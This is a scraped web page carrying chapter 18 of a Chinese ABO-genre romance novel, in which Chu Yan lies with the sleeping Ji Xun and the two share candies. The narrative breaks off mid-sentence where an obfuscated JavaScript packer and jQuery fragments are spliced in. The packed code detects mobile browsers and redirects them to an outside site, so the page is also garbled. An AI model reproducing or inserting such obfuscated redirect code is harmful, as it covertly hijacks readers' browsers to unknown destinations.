默认冷灰
24号文字
方正启体

18.第十八章

作者:晓风迟本书字数:K更新时间:
    程觅在此刻万分庆幸自己这张摆不出表情的脸,他尽量稳住嗓音中的慌乱。


    “不用,父亲。我和季寻先生接触过,如果我们违背他的意愿,私自进行调查,以我对他的了解,他或许会立刻停止治疗。


    再说了,小宴还小,还生着病,或许对季寻只是一种依赖。我们强行介入,可能并不是一件好事。”


    “确实,那我们就先不用管了。让那个臭小子自己折腾吧。”


    褚明在孩子们的感情这种事上,并不关心。褚宴之后能不能给老褚家传宗接代,他也不在意。


    两个孩子能好好活着就行。


    离开褚宅前,燕昭突然叫住程觅,递给他两个糖罐。


    “这个你和小宴一人一罐,小宴那份你看什么时候有空去送一下,他最爱吃这个了。”


    程觅低头,伸手接过。


    他知道这种软糖,多年前在江市爆火过一阵,当时在训练的时候,有朋友分享过。他被塞了满满一兜,但他不爱吃,后来送给了一个迷路的小孩。


    没想到褚宴也喜欢。


    回到车上,他拿起糖罐拍了张照,发给了许和玉。


    “这种糖,帮我多买几罐。”


    “[转账]10000元。”


    “剩下的是加班费。”


    收到对面发来的“OK”表情包,程觅放下手机,回了公司附近的那套房子。


    时间还早,他还可以处理一些工作。


    而同样无心休息的,还有身在别墅的褚宴。


    他托陈愿买好了礼物,现在在纠结该说什么话,可以郑重地表达他的歉意。


    事实上,长那么大,褚少爷还没这么认真地哄过谁,丝毫没有经验。


    陈愿倒是有个想法:“既然你不会说,要不你写下来吧。就亲笔写的那种,肯定有诚意。”


    褚宴:“……你指望我写出什么来,我连笔尖落在哪都看不清。”


    “也是。”陈愿思索片刻,“没关系,我可以帮你写。正好到时候塞到礼物里,一起送给他。”


    这不是最难的一步,难的是要写些什么。


    褚宴半天憋不出一句话:“你,你就写:对不起,我错了。我,我不该那样做,你原谅我吧。”


    “就这样?就没了?”


    “没了……”


    陈愿服气了,“算了,我帮你加工一下。这事交给我,你就放心吧!”


    褚宴将信将疑,最后还是选择相信他一把。


    挂断电话,将手机抛开。


    他瘫在床上,目光捕捉到窗外的月色。


    夜还很长。


    褚宴无事可做,干脆赤脚走到窗台,托腮看着天上的一轮月影。


    季先生在做什么呢?


    他会不会也在看月亮?


    他会不会想到我?


    夏末秋初,夜风凉爽。


    没过多久,褚宴就被迫打断愁思,裹紧衣物,回了房间。


    ……


    第二天九点前,季寻来到别墅,照例给自己注射了伪装药剂。


    只是今日的倦怠期有所不同,他不光感到无力。


    而是难以启齿的锁骨下,隐隐传来闷痛,不剧烈,但实在恼人。


    药效发作,他没了思考的余力,便把这些通通归为是伪装药剂的副作用。


    他沉沉睡去,并没发觉今日腺体释放的信息素浓度,比往日都要高。


    书房的门只是虚掩着,褚宴计算着时间,又悄悄坐在季寻身边。


    手上仿佛装着导航一般,哪怕没看见,也顺利摸到了想要的东西。


    满意地将季寻的手握在掌心。


    他自然察觉到今日的信息素格外热情,对此只有欢喜。


    因为他曾看过一篇报道,说信息素里最能反应一个人的真实情绪。如果真是这样,那季先生岂不是快要原谅他了。


    然而,如果信息素能够具象化,他便能看到那看似柔和的柑橘香,已经将他团团围住。


    哪怕药剂已经将属于Alpha信息素中的攻击性压抑到极致,但刻在Alpha基因中的本能不会改变。


    接近他。


    环绕他。


    锁住他。


    吃掉他。


    某一个瞬间,褚宴隐约感受到后颈的腺体微微跳动了一下。


    像是压抑在其中的薄荷香受到了鼓舞,拼尽全力终于给出了回应。


    没等他仔细辨别,躺椅上的人突然有了动静。


    褚宴吓得一动不敢动,脑海里闪过无数念头,生怕季寻醒来要把他丢出去。


    他不敢掀开眼罩,免得再次违背一条规定。


    “季先生?”


    他小声试探。


    迟迟没有回应。


    就在他缓缓吐出一口气时,一阵悠扬的纯音乐在房间内响起。


    褚宴心中又是一紧,摸了摸自己裤兜,发现手机放在了客厅的沙发上。


    那就只有一个可能,是季寻的手机。


    这下不得不走了。


    褚宴做贼心虚,轻手轻脚地站起来,往门口走去。


    看中的宝物似乎想要逃离,浓郁的信息素追随而去。


    沉睡中的季寻皱了皱眉,想要将宝物重新拖入巢穴。


    于是伸手,一把将褚宴拉了回来。


    !!


    褚宴只觉得一阵天旋地转。


    再回神时……掌下搭着的地方,触感绵软,微微起伏。


    大腿紧贴着大腿,传递着同样灼热的温度。


    呼吸交融成一片,已经算是过分越界的亲密。


    不过,这可是季寻主动的!


    他的手腕还被扣住了,拽都转不动!


    褚宴勾唇,心安理得保持着这个姿势。


    气氛正好,唯有不知何时停下的纯音乐再度响起。


    褚宴伸手摸了摸,顺利从季寻上衣的口袋里找到了手机。


    滑动接听。


    “喂?”


    “褚少爷好,请问季寻先生方便接电话吗?”


    “不方便。”


    褚宴语调懒洋洋的。“他睡着了,有什么事和我说就行。”


    许和玉脑中一阵风暴刮过。


    不是说保持距离吗?


    这是发生了什么,怎么突然睡一起了!


    “许特助?”褚宴催促道。


    许和玉回神,想到没有程觅的指示,他不好决定这份礼物该由谁的名义送出去。


    要不,干脆等他醒了,让他自己解释。


    “没什么大事,我就是来送点东西。暂时放在门口了,你记得提醒季寻先生去拿。”


    至于放的什么,褚宴暂时没兴趣知道。


    结实的躺椅顽强地承受住了两个人的重量,微微晃动。


    褚宴也觉得一阵睡意袭来,趴在季寻怀里安心睡去。


    ……


    两个小时过后,药物的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527729|203180||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    作用褪去。


    季寻悠悠转醒,只觉得怀里躺了个火球。


    胸口沉甸甸的。


    四肢仿佛脱离了他的控制,动都无法动弹。


    ……


    !!


    ??


    为什么褚宴在他怀里?


    季寻努力调动四肢,缓缓抬手,发现褚宴的手腕静静躺在他掌心。


    急忙松开,已经能看到洁白的手腕上,有着一圈显眼的红痕。


    “季先生,手好痛。”


    褚宴不知何时醒来,微仰着头,委屈地控诉。


    季寻说不出话,急得四处摸发声机器。


    褚宴很是贴心地帮他从另一个兜里将东西摸出来,递过去。


    季寻无奈接过:“到底怎么回事?我睡着期间发生了什么吗?”


    “我也不清楚,季先生,是你把我拉过来的,还抱着我不肯松手。你睡着期间许特助打电话来,说放了东西在门口。”


    应该是托许和玉送的软糖到了。


    季寻垂眸,看向赖在他怀里不走的人,并没有被忽悠。


    “褚少爷,你现在应该在客厅才对吧。而且AO有别,我们还是保持距离比较好。”


    回旋镖正中眉心,当初说过的话,竟然有一天作用在自己身上。


    褚宴尴尬地笑了笑,慢吞吞地爬起来。


    季寻腿麻了,又躺着缓了一会,才能起身。


    走到门口,将一个大箱子搬进来。


    褚宴顺着声音走过去,被季寻按住肩膀制止。


    “等着。”


    季寻将包装拆开,拿起一罐,放进褚宴怀里。


    “是什么?是季先生送我的礼物吗?”


    褚宴露出欣喜的笑。


    “不,是你母亲托程少爷送的。我只是中间人。”季寻冷酷地回道。


    听到不是季寻,褚宴笑容消失,兴致缺缺。


    “哦。”


    “怎么了?”季寻拿起罐子左右看了看,并没发现什么异样。


    “更喜欢季先生送的。”褚宴垂着头,手指纠结地纠缠在一起。


    话说得直球,其实内心很坎坷。


    季寻不明白两者有什么区别。


    他随意拿出一颗,剥开糖纸,抵在褚宴唇边。


    微微用力。


    褚宴顺从地张口,软舌卷起橘子软糖,吞入口中,脸颊微微鼓起。


    “嗯,喜欢。”


    季寻暗暗搓了搓手指,面色不改,腺体却很给面子地微微跳动,附和着他有些加快的心跳。


    嗯,看来没买错。


    他仓皇移开视线,脚步匆匆走进了书房。


    “又去工作了。”褚宴小声嘟囔。


    季寻不是即将得到一大笔钱吗?要是还不够,他还存了不少零花钱。


    都能给他。


    虽然季寻不一定会要。


    褚宴抱着糖罐又坐回了沙发上。


    原本大半天就能吃完的软糖,在现在却并没有那么大吸引力。


    他深吸一口气充满季寻信息素的空气,只觉得从此以后,在他心中,别的橘子味,都只是将就。


    而这个想法刚产生……


    “咳咳咳!”


    褚宴揉了揉鼻子。


    奇怪,季寻的信息素味道怎么变了?


    “扑通。”


    是重物落地的声音。


    来自书房。


    坏了!是季寻!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)